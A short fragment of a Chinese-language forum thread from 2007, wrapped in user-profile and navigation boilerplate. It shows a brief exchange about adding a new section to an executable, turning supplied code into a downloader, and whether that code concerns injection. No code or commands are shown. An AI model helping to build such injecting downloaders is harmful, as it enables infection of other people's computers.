帖子67 精华0 积分3214 阅读权限100 性别男 在线时间104 小时 注册时间2007-1-29 最后登录2008-7-5 查看详细资料引用 报告 回复 TOP

黑菜
荣誉会员

TOP

引用:
引用第17楼asm于2007-07-22 02:01发表的 :
加一个新节就已经够了吧?我给你的代码已经够用了,你自己修改成下载的吧。

至于怎么尾部追加数据,我还真不懂
刚才我表述不清,你给的代码不是关于注入吗?

哎。。。。。算了,先睡了。晚安~

帖子67 精华0 积分3214 阅读权限100 性别男 在线时间104 小时 注册时间2007-1-29 最后登录2008-7-5 查看详细资料引用 报告 回复 TOP

81635631
晶莹剔透§烈日灼然

TOP

返回列表